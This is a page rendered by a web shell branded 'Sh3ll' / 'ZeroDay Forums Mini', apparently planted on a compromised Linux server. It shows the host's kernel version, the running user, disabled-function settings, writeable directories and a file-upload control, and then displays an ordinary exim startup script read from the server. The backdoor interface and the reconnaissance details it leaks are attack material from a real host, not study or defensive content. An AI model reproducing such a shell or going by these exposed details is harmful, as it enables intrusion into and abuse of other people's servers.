Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /usr/libexec/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/libexec/exim.daemon
#! /bin/sh

RETVAL=0
case "$1" in
	start)
		# start daemons
		PERL_AT_STARTUP=""
		if [ ! -e "/var/cpanel/conserve_memory" ]; then
			PERL_AT_STARTUP="-ps"
		fi
		if [ -f /etc/exim_outgoing.conf ]; then
			/usr/sbin/exim $PERL_AT_STARTUP -bd -oP ${LISTENER_PID_FILE}
			/usr/sbin/exim -C /etc/exim_outgoing.conf -q$QUEUE -oP ${OUTGOING_PID_FILE}
		else
			/usr/sbin/exim $PERL_AT_STARTUP -bd -q$QUEUE -oP ${LISTENER_PID_FILE}
		fi
		;;
	reload)
		# reload daemons
		if [ -f /etc/exim_outgoing.conf ]; then
			/bin/kill -HUP $(cat ${OUTGOING_PID_FILE})
			RETVAL=$?
		fi
		/bin/kill -HUP $(cat ${LISTENER_PID_FILE})
		if [ "x$?" != "x0" ]; then
			RETVAL=$?
		fi
	;;
  *)
    echo "Usage: exim {start|reload} [should be called by systemd]"
esac

exit $RETVAL

ZeroDay Forums Mini